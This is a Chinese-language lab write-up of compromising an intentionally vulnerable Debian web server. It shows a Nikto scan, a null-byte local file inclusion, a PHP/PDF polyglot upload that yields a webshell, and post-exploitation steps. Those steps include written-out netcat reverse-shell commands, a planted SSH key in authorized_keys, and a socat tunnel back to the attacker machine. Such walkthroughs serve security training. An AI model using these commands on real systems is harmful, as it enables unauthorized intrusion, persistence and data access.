环境配置

虚拟机1

  • Debian x64
  • NAT Network

虚拟机2

  • Kali Linux
  • NAT Network

信息收集

获取服务器开放端口及系统信息

访问页面,获得服务器信息

使用 telnet 获得服务器信息,结果相同

查看网页链接并尝试访问,这些路径的参数都是 page= ,可能存在文件包含漏洞

faq 页面直接回显 include() 错误,无法包含 faq.php 文件

使用 Nikto 扫描服务器

1
2
3
4
5
6
7
8
9
10
# 安装
wget https://github.com/sullo/nikto/archive/2.1.6.tar.gz
tar -xvfz 2.1.6.tar.gz

# 查看帮助信息
cd nikto-master/program
perl nikto.pl -Help

# 扫描远程主机
perl nikto.pl -h http://10.0.2.8/

扫描得到以下信息:

  • Apache 和 PHP 版本信息
    • Apache/2.2.16 (Debian)
    • PHP/5.3.2
  • 可能的文件包含问题
    • /index.php
  • 误报 OSVDB-3126
    • 服务器并没有开放 4080 端口
  • PHP 复活节彩蛋 OSVDB-12184
    • 当 PHP 配置 exposed_php 开启时
  • 一些可以访问的目录
  • 登陆界面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.2.8
+ Target Hostname: 10.0.2.8
+ Target Port: 80
+ Start Time: 2020-04-28 03:12:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.16 (Debian)
+ Retrieved x-powered-by header: PHP/5.3.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1".
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /index.php: PHP include error may indicate local or remote file inclusion is possible.
+ OSVDB-3126: /submit?setoption=q&option=allowed_ips&value=255.255.255.255: MLdonkey 2.x allows administrative interface access to be access from any IP. This is typically only found on port 4080.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 3726, size: 5108, mtime: Tue Aug 28 06:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 8725 requests: 0 error(s) and 23 item(s) reported on remote host
+ End Time: 2020-04-28 03:12:48 (GMT-4) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

漏洞分析

文件包含分为两种:

  • 本地文件包含(Local File Inclusion, LFI)
  • 远程文件包含(Remote File Inclusion, RFI)

从 faq 页面的错误反馈可以推断,后台将用户传入的参数值加上 .php 后缀形成文件名,在 /var/www/ 路径下包含该文件并返回;

这里使用 Null Byte 绕过,尝试访问 /etc/shadow 文件,提示权限不够

同样的方法尝试访问 /etc/passwd 文件,成功

将请求从字符串改为数组,返回如下结果,文件名变为 Array.php

尝试远程文件包含,? 表示确保添加到 URL 的任何扩展名或后缀都被 Google 服务器解释为参数

总结

  • 本地文件包含漏洞
  • 扩展名 .php 被添加到提交的值之后

漏洞利用

首先找到可以上传文件的入口,submit 页面完全符合需求,这里显示上传 PDF 文件

直接编写一个 PHP 文件并将后缀改为 PDF ,上传失败,说明服务器对文件的内容进行检查;
反过来,将一个 PDF 文件的后缀改为 TXT 进行上传,仍然失败,说明服务器对文件的扩展名进行检查

尝试将 PHP 文件和 PDF 文件进行拼接,这里保留了 PDF 文件的 MIME 头

验证拼接的文件是 PDF 类型

上传文件,同时进行注册,用于查看上传路径

登陆后查看文件的上传路径,竟然还返回数据库查询语句2333

利用本地文件包含漏洞获得 Webshell

后渗透测试(Post-Exploitation)

使用 Webshell 的话,每次执行一条指令都需要发送一次 HTTP 请求然后等待结果,改进的方法是从远程服务器上获得一个 Shell

  • Shell
  • Reverse Shell

通常情况下防火墙相比出站流量更可能过滤入站流量,因此使用反向 Shell 是更好的选择,而且可以直接使用 TCP/80 或者 TCP/443 等特权端口

netcat

首先在本机上监听 80 端口

1
nc -l -p 80

然后利用本地文件包含漏洞,让远程服务器连接本机,并执行 /bin/bash ,形成反向 Shell ,这里可以关闭浏览器,因为连接已经建立完毕

1
http://10.0.2.8/index.php?page=uploads/lfi.pdf%00&cmd=nc 10.0.2.6 80 -e /bin/bash

socat

远程服务器通过 SSH (22 端口)连接到本机,将流量从 22 端口转发到本机 2222 端口

在本机生成 SSH 密钥

1
ssh-keygen -P "" -f 10.0.2.8

利用 nc 建立的 Webshell 在远程服务器上安装 SSH key(公钥)

1
2
3
4
5
# 建立 .ssh 目录
mkdir .ssh

# 安装密钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0p2zYEaBtzYellr+MYfAJWbmyl87ygvAW8AqQy0zrE2FBRZJ5nHfRCAG4BeNfJ+W7sE+HlYgtGfZGc+Fw5BsnMDor93AhSyg8VJQhasIRHPyBPUzS+/IpI/nzlNZFdbuvMORYcUHJ1gVxK9dSoy0c4xC6SJQnNKNUgm/l2NvVf0KDNOaPSU4/bn1uxlSxEn5yIn+1vG5TAHkv0Uw90SSr8xb7YJusvvtgE3Txn1bwKL0NwYUOlCBzuX1J3TPSgb11ypDA1FOUyB0tIz5Gxe4cmZ0FO0MgI2vF9HkpIZm68bQnt12XFcd1h+vIpJGSp5JfOsRapcewCW6IrV6KOxh1shJWabCe7urc2cOiKFLs3e9pBBCVbp0hJu6BIgVPIHdl1X/6vN5biMY5ZTtWBWZyF8kK4zvnx1HnT+4ZlsCV4mXqvcaK8TP/6p2X+em7kGpG0Q6ZNXUitdSvluArMWJYosGVqfenJpYVN/Cwj68Ykpc7T2ZfZjEoysuuGzLXXoM= root@kali" >> ~/.ssh/authorized_keys

在本机上监听 443 端口,并绑定到 2222 端口

1
socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr

然后利用 Webshell 在远程服务器上执行以下命令,使用 22 端口转发流量发送到本机的 443 端口

1
while true; do socat TCP4:10.0.2.6:443 TCP4:127.0.0.1:22 ; done

最后在本机通过 2222 端口连接 Shell

1
ssh localhost -p 2222 -l www-data -i 10.0.2.8

访问服务器数据库

1
mysql -h localhost -u root

源码解析

参阅